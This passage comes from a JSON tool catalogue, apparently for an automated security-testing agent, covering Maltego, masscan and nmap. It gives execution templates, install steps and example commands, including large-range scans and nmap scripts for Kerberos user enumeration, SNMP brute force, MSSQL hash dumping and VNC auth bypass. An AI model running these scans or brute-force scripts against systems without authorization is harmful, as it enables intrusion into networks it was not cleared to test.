    "capabilities": [
      "security.intel.osint",
      "security.recon.graph",
      "security.intel.correlation",
      "security.intel.link-analysis",
      "security.recon.passive"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        },
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        },
        {
          "type": "security.target.email",
          "description": "Email address"
        },
        {
          "type": "security.target.person",
          "description": "Person name"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.graph",
          "description": "Link analysis graph",
          "mime": "application/xml"
        },
        {
          "type": "security.recon.report",
          "description": "Export report",
          "mime": "text/html"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 1024,
        "network": "medium",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Graphical link analysis and data mining tool for OSINT investigations, entity correlation, and relationship mapping.",
    "examples": [
      {
        "description": "Launch Maltego GUI",
        "command": "maltego"
      },
      {
        "description": "Launch with a specific graph file",
        "command": "maltego -g /path/to/graph.mtgx"
      },
      {
        "description": "Run a transform from the command line",
        "command": "maltego -c \"maltego.TransformName\" -e output.mtgx"
      }
    ],
    "execution": {
      "template": "maltego",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com"
    },
    "id": "security-recon-maltego",
    "install": [
      {
        "method": "apt",
        "package_name": "maltego",
        "commands": [
          "apt-get install -y maltego"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "maltego",
    "namespace": "security:recon:maltego",
    "parameters": [
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Run transform from command line",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Export graph to file",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Open graph file",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "i",
        "type": "boolean",
        "required": false,
        "description": "Import configuration",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Show version",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Maltego Official Site",
        "url": "https://www.maltego.com/"
      },
      {
        "label": "Maltego Transform Hub",
        "url": "https://www.maltego.com/transform-hub/"
      }
    ],
    "related_tools": [
      "recon-ng",
      "spiderfoot",
      "theharvester"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 1024,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "recon",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "entity-graph",
        "relationship-map",
        "intelligence-report"
      ],
      "consumes": [
        "domain",
        "ip-address",
        "email",
        "person-name"
      ]
    }
  },
  {
    "_body": "\n# Masscan — High-Speed Port Scanner\n\nMasscan is the fastest TCP port scanner available, capable of scanning the entire internet in about 5 minutes when sent at 10 million packets per second. It uses asynchronous transmission similar to `nmap -sS` but with a custom TCP/IP stack for maximum performance.\n\n## Key Features\n\n- **Massively parallel**: Scans the entire IPv4 internet in minutes\n- **Banner grab**: Captures service banners from open ports  \n- **Multiple output formats**: Binary, XML, JSON, grepable\n- **Nmap compatibility**: Many options mirror nmap syntax\n- **Config file support**: Save and reuse scan configurations\n\n## Basic Scan Types\n\n| Scan Type | Command | Description |\n|-----------|---------|-------------|\n| Single port | `masscan target -p80` | Scan a single port on target |\n| Port range | `masscan target -p1-65535` | Scan all 65535 ports |\n| Multiple ports | `masscan target -p22,80,443,8080` | Scan specific ports |\n| CIDR range | `masscan 10.0.0.0/8 -p443` | Scan an entire subnet |\n| With banners | `masscan target -p80 --banners` | Grab service banners |\n\n## Output Formats\n\n```bash\n# Binary (compact, for later reprocessing)\nmasscan target -p80 -oB session.scan\n\n# XML (machine-parseable)\nmasscan target -p80 -oX scan.xml\n\n# JSON (structured)\nmasscan target -p80 -oJ scan.json\n\n# Grepable (text)\nmasscan target -p80 > scan.txt\n```\n\n## Performance Tuning\n\n- `--rate=100000` — target 100,000 packets per second (default: 100)\n- `--adapter-ip` — specify source IP for load balancing across interfaces\n- `--shard N/M` — split scan across M machines (this is shard N)\n\n## Operational Security\n\n- Masscan generates extremely high network traffic; use rate limiting responsibly\n- Root privileges are required for SYN scans\n- Scanning without authorization is illegal in many jurisdictions\n- Use `--excludefile` to avoid scanning sensitive IP ranges\n",
    "_source": "masscan.md",
    "allowed-tools": [
      "masscan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.scan.binary",
        "description": "Binary scan results for later processing",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "network.scan.xml",
        "description": "XML-formatted scan results",
        "mime": "application/xml",
        "trust_level": "verified"
      },
      {
        "type": "network.scan.json",
        "description": "JSON-formatted scan results",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.scan.port",
      "network.discovery.host",
      "security.fingerprint.service",
      "security.evasion.firewall",
      "network.scan.banner"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or CIDR range"
        },
        {
          "type": "network.target.range",
          "description": "IP range in CIDR notation"
        },
        {
          "type": "network.port.range",
          "description": "Port range or comma-separated ports"
        }
      ],
      "outputs": [
        {
          "type": "network.scan.json",
          "description": "Scan results as JSON",
          "mime": "application/json"
        },
        {
          "type": "network.scan.xml",
          "description": "Scan results as XML",
          "mime": "application/xml"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 64,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "High-speed TCP port scanner capable of scanning the entire internet in minutes, supporting banner grab, configurable rate limits, and multiple output formats.",
    "examples": [
      {
        "description": "Scan a subnet for web servers",
        "command": "masscan 10.0.0.0/8 -p80,443 --rate=10000"
      },
      {
        "description": "Scan specific IP for all ports with banners",
        "command": "masscan 192.168.1.1 -p1-65535 --banners --rate=1000"
      },
      {
        "description": "Output results to JSON file",
        "command": "masscan 10.0.0.0/24 -p22,80,443 -oJ scan.json --rate=1000"
      },
      {
        "description": "Scan with custom adapter settings",
        "command": "masscan 10.0.0.0/8 -p80 --adapter-ip 192.168.1.100 --adapter-mac 00-11-22-33-44-55 --router-mac 66-55-44-33-22-11"
      },
      {
        "description": "Exclude specific IPs from a range scan",
        "command": "masscan 10.0.0.0/8 -p443 --exclude 10.0.0.1 --rate=10000"
      },
      {
        "description": "Binary output for later reprocessing",
        "command": "masscan 10.0.0.0/8 -p80,443 --banners -oB session.scan --rate=10000"
      },
      {
        "description": "Read binary scan results and convert to XML",
        "command": "masscan --open --banners --readscan session.scan -oX results.xml"
      },
      {
        "description": "List nmap-compatible options",
        "command": "masscan --nmap"
      }
    ],
    "execution": {
      "template": "masscan {target} -p{ports} --rate={rate}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip",
      "ports": "80,443",
      "rate": "10000"
    },
    "id": "security-recon-masscan",
    "install": [
      {
        "method": "apt",
        "package_name": "masscan",
        "commands": [
          "apt-get install -y masscan"
        ]
      },
      {
        "method": "git",
        "repo_url": "https://github.com/robertdavidgraham/masscan",
        "commands": [
          "git clone https://github.com/robertdavidgraham/masscan.git",
          "cd masscan && make && make install"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "masscan",
    "namespace": "security:recon:masscan",
    "parameters": [
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ports to scan (e.g. -p80, -p1-65535)",
        "aliases": [
          "-p",
          "--ports"
        ],
        "flag": "-p"
      },
      {
        "name": "rate",
        "template_key": "rate",
        "type": "integer",
        "required": false,
        "default_value": 100,
        "description": "Packets per second",
        "aliases": [
          "--rate"
        ],
        "flag": "--rate"
      },
      {
        "name": "flag-oJ",
        "template_key": "flag-oJ",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output to JSON file",
        "aliases": [
          "-oJ",
          "--output-json"
        ],
        "flag": "-oJ"
      },
      {
        "name": "flag-oX",
        "template_key": "flag-oX",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output to XML file",
        "aliases": [
          "-oX",
          "--output-xml"
        ],
        "flag": "-oX"
      },
      {
        "name": "flag-oB",
        "template_key": "flag-oB",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output to binary file",
        "aliases": [
          "-oB",
          "--output-binary"
        ],
        "flag": "-oB"
      },
      {
        "name": "adapter-ip",
        "template_key": "adapter-ip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IP address of the network adapter",
        "aliases": [
          "--adapter-ip"
        ],
        "flag": "--adapter-ip"
      },
      {
        "name": "adapter-mac",
        "template_key": "adapter-mac",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "MAC address of the network adapter",
        "aliases": [
          "--adapter-mac"
        ],
        "flag": "--adapter-mac"
      },
      {
        "name": "router-mac",
        "template_key": "router-mac",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "MAC address of the gateway router",
        "aliases": [
          "--router-mac"
        ],
        "flag": "--router-mac"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IP addresses to exclude from scan",
        "aliases": [
          "--exclude"
        ],
        "flag": "--exclude"
      },
      {
        "name": "banners",
        "template_key": "banners",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Grab banners from open ports",
        "aliases": [
          "--banners"
        ],
        "flag": "--banners"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Masscan GitHub",
        "url": "https://github.com/robertdavidgraham/masscan"
      },
      {
        "label": "Masscan documentation",
        "url": "https://github.com/robertdavidgraham/masscan/wiki"
      }
    ],
    "related_tools": [
      "nmap",
      "rustscan",
      "zenmap"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 64,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scan-results",
        "open-ports",
        "host-list"
      ],
      "consumes": [
        "target-ip",
        "target-range"
      ]
    }
  },
  {
    "_body": "\n# Nmap — Network Mapper\n\nNmap (Network Mapper) is the industry-standard open-source utility for network discovery, security auditing, and vulnerability assessment. It uses raw IP packets to determine which hosts are available on a network, what services those hosts are offering, what operating systems they are running, and what packet filters/firewalls are in use.\n\n## Scan Types\n\n| Scan Flag | Type              | Description                          | Requires Privilege |\n|-----------|-------------------|--------------------------------------|--------------------|\n| `-sS`     | SYN scan          | Half-open TCP scan (stealth)         | Yes                |\n| `-sT`     | TCP connect scan  | Full TCP connection scan             | No                 |\n| `-sU`     | UDP scan          | UDP service discovery                | Yes                |\n| `-sA`     | ACK scan          | Firewall rule mapping                | Yes                |\n| `-sV`     | Version detection | Service version fingerprinting       | Varies             |\n| `-sC`     | Default scripts   | Common NSE script execution          | Varies             |\n\n## Nmap Scripting Engine (NSE)\n\nNSE extends nmap with over 600 scripts for:\n\n- **Vulnerability detection**: `vuln` category scripts\n- **Service enumeration**: `discovery`, `safe` categories\n- **Authentication testing**: `auth` category\n- **Brute force attacks**: `brute` category\n- **Exploitation**: `exploit` category\n\n```bash\n# Run all vulnerability scripts\nnmap --script vuln target\n\n# Run all safe scripts for service enumeration\nnmap -sV --script \"safe or discovery\" target\n```\n\n## Output Formats\n\n```bash\n# Normal output (default)\nnmap target\n\n# XML output (machine-parseable)\nnmap -oX scan.xml target\n\n# Grepable output (legacy)\nnmap -oG scan.gnmap target\n\n# JSON output (modern structured)\nnmap -oJ scan.json target\n\n# All formats simultaneously\nnmap -oA scan target\n```\n\n## Operational Security\n\n- SYN scans (`-sS`) require root privileges on Linux/MacOS\n- Aggressive timing (`-T5`) can cause denial-of-service; use responsibly\n- Scan without authorization is illegal in many jurisdictions\n- Use decoy scans (`-D`) or idle scans (`-sI`) for operational stealth\n\n## Related Tools\n\n- **[masscan](../../recon/masscan.md)** — High-speed port scanner for large address spaces\n- **[RustScan](../../recon/rustscan.md)** — Fast port scanner with Nmap integration\n- **[netcat](../../socket/nc.md)** — Raw socket interaction for manual service probing\n",
    "_source": "nmap.md",
    "allowed-tools": [
      "nmap",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.scan.nmap.xml",
        "description": "Structured Nmap XML output with port and service details",
        "mime": "application/xml",
        "schema_version": "1.0.0",
        "trust_level": "verified"
      },
      {
        "type": "network.scan.nmap.json",
        "description": "JSON-formatted scan results",
        "mime": "application/json",
        "schema_version": "1.0.0",
        "trust_level": "verified"
      },
      {
        "type": "network.scan.nmap.grepable",
        "description": "Legacy grepable format for text processing",
        "mime": "text/plain",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.discovery.host",
      "network.scan.port",
      "network.scan.service",
      "security.fingerprint.os",
      "security.fingerprint.service",
      "security.audit.script",
      "security.evasion.firewall"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or hostname"
        },
        {
          "type": "network.target.range",
          "description": "IP range or CIDR notation"
        }
      ],
      "outputs": [
        {
          "type": "network.scan.nmap.xml",
          "description": "Structured scan results in XML format",
          "mime": "application/xml",
          "schema_version": "1.0.0"
        },
        {
          "type": "network.scan.nmap.json",
          "description": "Scan results as JSON",
          "mime": "application/json",
          "schema_version": "1.0.0"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Network discovery and security auditing scanner used for host discovery, port scanning, and service detection.",
    "examples": [
      {
        "description": "Basic port scan of a target",
        "command": "nmap -sS -T4 scanme.nmap.org"
      },
      {
        "description": "Full service and OS detection",
        "command": "nmap -sS -sV -O -T4 scanme.nmap.org"
      },
      {
        "description": "Scan specific ports with default NSE scripts",
        "command": "nmap -sS -sC -p 22,80,443 scanme.nmap.org"
      },
      {
        "description": "UDP scan of top 100 ports",
        "command": "nmap -sU --top-ports 100 scanme.nmap.org"
      },
      {
        "description": "Nmap's `krb5-enum-users` script attempts to bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication",
        "command": "nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='test.local',userdb=usernames.txt 10.10.10.1"
      },
      {
        "description": "Darkiros RECON: Nmap - hosts alive",
        "command": "nmap -sn [ip_range]"
      },
      {
        "description": "Darkiros RECON: Nmap - classic scan",
        "command": "nmap -sC -sV [ip]"
      },
      {
        "description": "Darkiros RECON: Nmap - read targets from file",
        "command": "nmap -iL [file]"
      },
      {
        "description": "Darkiros RECON: Nmap - scan all port full",
        "command": "nmap -Pn -sC -sV -p [port] [ip] -oN scan.txt --reason --script=vuln"
      },
      {
        "description": "Darkiros RECON: Nmap - UDP scan",
        "command": "nmap -sU [ip]"
      },
      {
        "description": "Darkiros RECON: Nmap - SMB signin disabled",
        "command": "nmap -Pn -sS -T4 --open --script smb-security-mode -p 445 [ip]"
      },
      {
        "description": "Darkiros RECON: Nmap - kerberos user enumeration",
        "command": "nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=[domain] [dc-ip]"
      },
      {
        "description": "Darkiros RECON: Nmap - showmount",
        "command": "nmap -sV --script=nfs-showmount [ip]"
      },
      {
        "description": "Darkiros RECON: VNC - nmap enum",
        "command": "nmap -sV -p [port|5900] --script=realvnc-auth-bypass,vnc-info,vnc-title [ip]"
      },
      {
        "description": "Darkiros RECON: mssql - enum",
        "command": "nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p [port|1433] [IP]"
      },
      {
        "description": "Darkiros RECON: nmap - pop3 infos",
        "command": "nmap --script \"pop3-capabilities or pop3-ntlm-info\" -sV -port [port] [ip]"
      },
      {
        "description": "Darkiros RECON: nmap - mysql enumeration",
        "command": "nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 [ip]"
      },
      {
        "description": "Darkiros ATTACK/CONNECT: nmap - FTP enum anonym",
        "command": "nmap --script ftp-anon -p 21 [ip]"
      },
      {
        "description": "Darkiros ATTACK/CONNECT: nmap - x11 check anonymous connection",
        "command": "nmap --script x11-access -p 6000-6063 -sV [ip]"
      },
      {
        "description": "Darkiros RECON: nmap - snmp scan",
        "command": "nmap -sU -p 161 -sC --open [ip]"
      },
      {
        "description": "Darkiros ATTACK/BRUTEFORCE: nmap - snmp brute force",
        "command": "nmap -sU -p 161 --script snmp-brute --script-args snmpbrute.communitiesdb=[wordlist] [ip]"
      },
      {
        "description": "NetRunners Active Directory/enumeration",
        "command": "nmap -p- --open -sS --min-rate 5000 -n -Pn {{IP}} -vvv"
      },
      {
        "description": "NetRunners KERBEROS/enumeration",
        "command": "nmap -p- --open -sS --min-rate 5000 -n -Pn {{IP}} -vvv"
      },
      {
        "description": "NetRunners web/enumeration",
        "command": "nmap -p- --open -sS --min-rate 5000 -n -Pn {{IP}} -vvv"
      },
      {
        "description": "Single target scan:",
        "command": "nmap [target]"
      },
      {
        "description": "Scan from a list of targets:",
        "command": "nmap -iL [list.txt]"
      },
      {
        "description": "Scan port for all available A records (useful when multiple A records are returned by the DNS server)",
        "command": "nmap --script resolveall \\"
      },
      {
        "description": "cheat.sheets: nmap",
        "command": "--script-args newtargets,resolveall.hosts=[target] -p [port]"
      },
      {
        "description": "iPv6:",
        "command": "nmap -6 [target]"
      },
      {
        "description": "OS detection:",
        "command": "nmap -O --osscan_guess [target]"
      },
      {
        "description": "Save output to text file:",
        "command": "nmap -oN [output.txt] [target]"
      },
      {
        "description": "Save output to xml file:",
        "command": "nmap -oX [output.xml] [target]"
      },
      {
        "description": "Scan a specific port:",
        "command": "nmap -p [port] [target]"
      },
      {
        "description": "Do an aggressive scan:",
        "command": "nmap -A [target]"
      },
      {
        "description": "Speedup your scan: -n => disable ReverseDNS --min-rate=X => min X packets / sec",
        "command": "nmap -T5 --min-parallelism=50 -n --min-rate=300 [target]"
      },
      {
        "description": "Traceroute:",
        "command": "nmap -traceroute [target]"
      },
      {
        "description": "Example: Ping scan all machines on a class C network",
        "command": "nmap -sP 192.168.0.0/24"
      },
      {
        "description": "Use some script:",
        "command": "nmap --script default,safe"
      },
      {
        "description": "Loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts.",
        "command": "nmap --script default,banner,/home/user/customscripts"
      },
      {
        "description": "Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy.",
        "command": "nmap --script 'http-*'"
      },
      {
        "description": "Loads every script except for those in the intrusive category.",
        "command": "nmap --script \"not intrusive\""
      },
      {
        "description": "Loads those scripts that are in both the default and safe categories.",
        "command": "nmap --script \"default and safe\""
      },
      {
        "description": "Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-.",
        "command": "nmap --script \"(default or safe or intrusive) and not http-*\""
      },
      {
        "description": "Scan for the heartbleed -pT:443 => Scan only port 443 with TCP (T:)",
        "command": "nmap -T5 --min-parallelism=50 -n --script \"ssl-heartbleed\" -pT:443 127.0.0.1"
      },
      {
        "description": "Show all information (debug mode)",
        "command": "nmap -d ..."
      },
      {
        "description": "Discover DHCP information on an interface",
        "command": "nmap --script broadcast-dhcp-discover -e eth0"
      }
    ],
    "execution": {
      "template": "nmap {flag-i} {flag-i-2} {exclude} {excludefile} {flag-s}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false,
      "container": {
        "image": "instrumentisto/nmap"
      }
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip"
    },
    "id": "security-recon-nmap",
    "install": [
      {
        "method": "apt",
        "package_name": "nmap",
        "commands": [
          "apt-get install -y nmap"
        ]
      },
      {
        "method": "brew",
        "package_name": "nmap",
        "commands": [
          "brew install nmap"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "nmap",
    "namespace": "security:recon:nmap",
    "parameters": [
      {
        "name": "PE",
        "type": "boolean",
        "required": false,
        "description": "/PP/PM: ICMP echo, timestamp, and netmask request discovery probes",
        "aliases": [
          "-PE"
        ],
        "flag": "-PE"
      },
      {
        "name": "PO",
        "type": "boolean",
        "required": false,
        "description": "IP Protocol Ping",
        "aliases": [
          "-PO"
        ],
        "flag": "-PO"
      },
      {
        "name": "PS",
        "type": "boolean",
        "required": false,
        "description": "/PA/PU/PY[portlist]: TCP SYN, TCP ACK, UDP or SCTP discovery to given ports",
        "aliases": [
          "-PS"
        ],
        "flag": "-PS"
      },
      {
        "name": "Pn",
        "type": "boolean",
        "required": false,
        "description": "Treat all hosts as online -- skip host discovery",
        "aliases": [
          "-Pn"
        ],
        "flag": "-Pn"
      },
      {
        "name": "append-output",
        "template_key": "append-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--append-output"
        ],
        "flag": "--append-output"
      },
      {
        "name": "badsum",
        "template_key": "badsum",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--badsum"
        ],
        "flag": "--badsum"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--data <hex string>"
        ],
        "flag": "--data"
      },
      {
        "name": "data-length",
        "template_key": "data-length",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--data-length <num>"
        ],
        "flag": "--data-length"
      },
      {
        "name": "data-string",
        "template_key": "data-string",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--data-string <string>"
        ],
        "flag": "--data-string"
      },
      {
        "name": "datadir",
        "template_key": "datadir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--datadir <dirname>"
        ],
        "flag": "--datadir"
      },
      {
        "name": "dns-servers",
        "template_key": "dns-servers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--dns-servers <serv1[,serv2],...>"
        ],
        "flag": "--dns-servers"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--exclude <host1[,host2][,host3],...>"
        ],
        "flag": "--exclude"
      },
      {
        "name": "exclude-ports",
        "template_key": "exclude-ports",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--exclude-ports <port ranges>"
        ],
        "flag": "--exclude-ports"
      },
      {
        "name": "excludefile",
        "template_key": "excludefile",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--excludefile <exclude_file>"
        ],
        "flag": "--excludefile"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable IPv6 scanning",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Treat all hosts as online -- skip host discovery",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-P-2",
        "template_key": "flag-p-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TCP SYN, TCP ACK, UDP or SCTP discovery to given ports",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-P-3",
        "template_key": "flag-p-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ICMP echo, timestamp, and netmask request discovery probes",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-P-4",
        "template_key": "flag-p-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set timing template (higher is faster)",
        "aliases": [
          "-T",
          "-5"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Increase debugging level (use -dd or more for greater effect)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print this help summary page",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-i-2",
        "template_key": "flag-i-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": "sometimes",
        "description": "Never do DNS resolution/Always resolve",
        "aliases": [
          "-n",
          "-R"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "and Grepable format, respectively, to the given filename",
        "aliases": [
          "-o",
          "-o",
          "-o",
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-o-2",
        "template_key": "flag-o-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Scan ports sequentially - don't randomize",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List Scan - simply list targets to scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-10",
        "template_key": "flag-s-10",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to --script=default",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-2",
        "template_key": "flag-s-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ping Scan - disable port scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-3",
        "template_key": "flag-s-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TCP SYN/Connect()/ACK/Window/Maimon scans",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-4",
        "template_key": "flag-s-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "UDP Scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-5",
        "template_key": "flag-s-5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TCP Null, FIN, and Xmas scans",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-6",
        "template_key": "flag-s-6",
        "type": "string",
        "required": false,
